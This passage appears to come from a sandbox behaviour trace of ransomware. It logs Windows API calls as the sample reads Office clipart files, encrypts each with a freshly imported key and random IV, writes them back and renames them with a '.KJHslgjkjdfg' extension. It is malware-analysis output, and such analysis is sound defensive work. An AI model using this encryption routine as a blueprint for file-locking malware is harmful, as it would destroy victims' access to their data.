lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e4, lpOverlapped=0x0) returned 1 [0158.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0) returned 1 [0158.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.774] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f0, lpOverlapped=0x0) returned 1 [0158.774] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.774] SetEndOfFile (hFile=0x114) returned 1 [0158.776] GetProcessHeap () returned 0x2a0000 [0158.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.776] GetProcessHeap () returned 0x2a0000 [0158.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.kjhslgjkjdfg")) returned 1 [0158.778] CloseHandle (hObject=0x114) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0158.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.778] GetProcessHeap () returned 0x2a0000 [0158.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.778] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.781] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.781] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.781] GetProcessHeap () returned 0x2a0000 [0158.781] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.781] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.781] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.782] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.782] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.782] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x964, lpOverlapped=0x0) returned 1 [0158.782] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x970, dwBufLen=0x970 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x970) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.782] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x970, lpOverlapped=0x0) returned 1 [0158.782] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.782] SetEndOfFile (hFile=0x114) returned 1 [0158.785] GetProcessHeap () returned 0x2a0000 [0158.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.785] GetProcessHeap () returned 0x2a0000 [0158.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.kjhslgjkjdfg")) returned 1 [0158.786] CloseHandle (hObject=0x114) returned 1 [0158.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0158.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.787] GetProcessHeap () returned 0x2a0000 [0158.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.787] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.787] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.789] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.789] GetProcessHeap () returned 0x2a0000 [0158.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.789] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.789] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.789] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.790] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.790] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x804, lpOverlapped=0x0) returned 1 [0158.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810, dwBufLen=0x810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810) returned 1 [0158.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.790] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x810, lpOverlapped=0x0) returned 1 [0158.791] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.791] SetEndOfFile (hFile=0x114) returned 1 [0158.793] GetProcessHeap () returned 0x2a0000 [0158.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.793] GetProcessHeap () returned 0x2a0000 [0158.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.kjhslgjkjdfg")) returned 1 [0158.794] CloseHandle (hObject=0x114) returned 1 [0158.795] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0158.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.795] GetProcessHeap () returned 0x2a0000 [0158.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.795] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.802] GetProcessHeap () returned 0x2a0000 [0158.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.803] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b8, lpOverlapped=0x0) returned 1 [0158.803] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.803] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0158.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.812] SetEndOfFile (hFile=0x114) returned 1 [0158.814] GetProcessHeap () returned 0x2a0000 [0158.814] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.814] GetProcessHeap () returned 0x2a0000 [0158.814] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.kjhslgjkjdfg")) returned 1 [0158.815] CloseHandle (hObject=0x114) returned 1 [0158.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0158.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.822] GetProcessHeap () returned 0x2a0000 [0158.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.822] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.827] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.827] GetProcessHeap () returned 0x2a0000 [0158.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.827] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.827] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.827] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.827] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.827] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.827] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.828] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.828] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.828] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x70c, lpOverlapped=0x0) returned 1 [0158.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x710, dwBufLen=0x710 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x710) returned 1 [0158.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.828] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x710, lpOverlapped=0x0) returned 1 [0158.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.828] SetEndOfFile (hFile=0x114) returned 1 [0158.830] GetProcessHeap () returned 0x2a0000 [0158.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.830] GetProcessHeap () returned 0x2a0000 [0158.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.830] MoveFileW (lpExistingFileName="C:\\Program 